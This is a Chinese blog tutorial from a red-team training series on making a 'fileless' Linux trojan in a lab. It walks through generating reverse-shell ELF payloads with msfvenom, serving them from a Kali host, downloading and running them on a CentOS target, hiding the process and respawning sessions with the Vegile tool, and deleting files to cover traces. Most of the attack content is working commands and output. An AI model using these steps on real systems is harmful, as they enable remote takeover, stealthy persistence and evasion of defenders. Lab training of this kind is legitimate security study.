红队/白帽必经之路(22)——实战之如何通过Metasploit 及Vegile 维吉尔工具制作Linux无文件木马程序root down[既然是红队,那就对自己狠一点]
欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]
专栏跑道一
➡️网络空间安全——全栈前沿技术持续深入学习
专栏跑道二
➡️ 24 Network Security -LJS
专栏跑道三
➡️ MYSQL REDIS Advance operation
专栏跑道四
➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]
专栏跑道五
➡️RHCE-LJS[Linux高端骚操作实战篇]
专栏跑道六
➡️数据结构与算法[考研+实际工作应用+C程序设计]
专栏跑道七
➡️RHCSA-LJS[Linux初级及进阶骚技能]
上节回顾
目录
欢迎各位彦祖与热巴畅游本人专栏与博客
你的三连是我最大的动力
以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]
专栏跑道一
➡️网络空间安全——全栈前沿技术持续深入学习
专栏跑道二
➡️ 24 Network Security -LJS
专栏跑道三
➡️ MYSQL REDIS Advance operation
专栏跑道四
➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]
专栏跑道五
➡️RHCE-LJS[Linux高端骚操作实战篇]编辑
专栏跑道六
➡️数据结构与算法[考研+实际工作应用+C程序设计]
专栏跑道七
➡️RHCSA-LJS[Linux初级及进阶骚技能]
上节回顾
1.实战-Linux 无文件木马程序
1.1环境准备
按照之前学习的方法生成一个恶意文件让目标系统执行来获取 shell
再生成一个用来隐藏执行的后门
补充:
1.2启动 apache
上传 Vegile 维吉尔工具到网站目录下方便 centos 下载
注意:
1.3获取 Linux 系统的 shell
MSF 配置监听
先安装下载工具
添加执行权限
使用 sessionID 连接 centos
参数详解:
注意:
扩展:
注意:
1.4创建无文件后门程序
补充:
回到前面建立的 session 中下载用于隐藏进程的工具
解压+cd+x
下载用于隐藏执行的后门程序+x
隐藏执行后门程序
回到另一个 MSF 控制台查看 session
查看一下我们注入到了哪个进程
删除我们下载的所有文件
注意:
举例:
1.实战-Linux 无文件木马程序
1.1环境准备
- Kali:192.168.1.53
- Centos:192.168.1.63
按照之前学习的方法生成一个恶意文件让目标系统执行来获取 shell
┌──(root㉿kali-2024)-[/home/ljs/Desktop]└─# msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.1.53 LPORT=8080 -b \"\\x00\" -f elf -o /var/www/html/xuegod-backdoorFound 3 compatible encodersAttempting to encode payload with 1 iterations of x64/xorx64/xor succeeded with size 175 (iteration=0)x64/xor chosen with final size 175Payload size: 175 bytesFinal size of elf file: 295 bytesSaved as: /var/www/html/xuegod-backdoor
再生成一个用来隐藏执行的后门
补充:
- ghost 是什么意思? 还原系统?
┌──(root㉿kali-2024)-[/home/ljs/Desktop]└─# msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b \"\\x00\" -f elf -o /var/www/html/xuegod-ghost Found 3 compatible encodersAttempting to encode payload with 1 iterations of x64/xorx64/xor succeeded with size 175 (iteration=0)x64/xor chosen with final size 175Payload size: 175 bytesFinal size of elf file: 295 bytesSaved as: /var/www/html/xuegod-ghost
1.2启动 apache
┌──(root㉿kali-2024)-[/home/ljs/Desktop]└─# systemctl start apache2 ┌──(root㉿kali-2024)-[/home/ljs/Desktop]└─# systemctl enable apache2 #设置开机启动,Synchronizing state of apache2.service with SysV service script with /usr/lib/systemd/systemd-sysv-install.Executing: /usr/lib/systemd/systemd-sysv-install enable apache2Created symlink \'/etc/systemd/system/multi-user.target.wants/apache2.service\' → \'/usr/lib/systemd/system/apache2.service\'. ┌──(root㉿kali-2024)-[/home/ljs/Desktop]└─# systemctl is-enabled apache2enabled
上传 Vegile 维吉尔工具到网站目录下方便 centos 下载
- Vegile 官方下载链接
- Vegile 常用方法:
- ./Vegile --i 隐藏你的后门
- ./Vegile --u 无限复制你的 metasploit 会话,即使他被 kill,依然可以再次运行
注意:
- 木马一定要放在 Vegile 目录下
- Vegile 一般用于维持 meterpreter 会话
┌──(root㉿kali-2024)-[/home/ljs/Desktop]└─# cd /var/www/html/ ┌──(root㉿kali-2024)-[/var/www/html]└─# rz
1.3获取 Linux 系统的 shell
MSF 配置监听
msf6 exploit(windows/smb/psexec) > backmsf6 > use exploit/multi/handler[*] Using configured payload linux/x64/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set payload linux/x64/shell/reverse_tcppayload => linux/x64/shell/reverse_tcpmsf6 exploit(multi/handler) > set LHOST 192.168.1.53LHOST => 192.168.1.53msf6 exploit(multi/handler) > set LPORT 8080 #改成8080,防止和上面实验的 4444 端口冲突LPORT => 8080msf6 exploit(multi/handler) > exploit -j #在后台运行 handler,发现现在并没有 session,因为客户端还没有执行
- 到 centos 操作系统下载执行文件来建立 session,为了模拟实战效果隐藏行为通过该 session进行操作
先安装下载工具
┌──(root㉿kali-2024)-[/var/www/html]└─# wget 192.168.1.53/xuegod-backdoor
添加执行权限
┌──(root㉿kali-2024)-[/var/www/html]└─# chmod +x xuegod-backdoor
执行完成后获取到 session
┌──(root㉿kali-2024)-[/var/www/html]└─# ./xuegod-backdoor
使用 sessionID 连接 centos
msf6 exploit(multi/handler) > sessions -i 2
参数详解:
- -i Interact with the supplied session ID
注意:
- 这个 payload 中的 shell 是没有 bash 提示符的
扩展:
- 如何查看我们当前进程的名字和 PID?
查看网络连接状态:netstat -antup | grep 8080
- 可以看到我们的 pid 是 2406
ps -aux | grep 2406
- 查看 IP 地址,发现找不到
- 但是可以可以使用绝对路径
注意:
上图的 session 要保持连接,先不要断开!后期面要使用到
1.4创建无文件后门程序
补充:
新建终端窗口,MSF 控制台可以启动多个互不影响
[-] Parse error: Unmatched quote: \"\' use exploit/multi/handler\"msf6 > use exploit/multi/handler[*] Using configured payload linux/x64/shell/reverse_tcpmsf6 exploit(multi/handler) > set payload linux/x64/shell/reverse_tcppayload => linux/x64/shell/reverse_tcpmsf6 exploit(multi/handler) > set LHOST 192.168.1.53LHOST => 192.168.1.53msf6 exploit(multi/handler) > set LPORT 4444LPORT => 4444msf6 exploit(multi/handler) > exploit -j
回到前面建立的 session 中下载用于隐藏进程的工具
wget 192.168.1.53/Vegile-master.zip
解压+cd+x
unzip Vegile-master.zipcd Vegile-masterchmod +x Vegile
下载用于隐藏执行的后门程序+x
wget 192.168.1.53/xuegod-ghostchmod +x xuegod-ghost
隐藏执行后门程序
- 这里是退出 Vegile,不是退出当前的 session。
回到另一个 MSF 控制台查看 session
- 目标端口为 52038
查看一下我们注入到了哪个进程
msf6 exploit(multi/handler) > sessions -i 3
- 同样是一个 sh 进程
删除我们下载的所有文件
rm -rf /root/Vegile-master
- 如遇到错误提示:
ERROR: ld.so: object \'/usr/local/lib/libprocesshider.so\' from/etc/ld.so.preload cannot be preloaded: ignored.
- 解决方法:
echo \"\" > /etc/ld.so.preload # 64 位系统没有这个文件导致报错
注意:
- 删除时,也会把 xuegod-ghost 这个后门程序删除了。
- 虽然文件被删除了,但会话,还是建立着了。
- 删除我们所有文件之后程序依旧正常执行。
举例: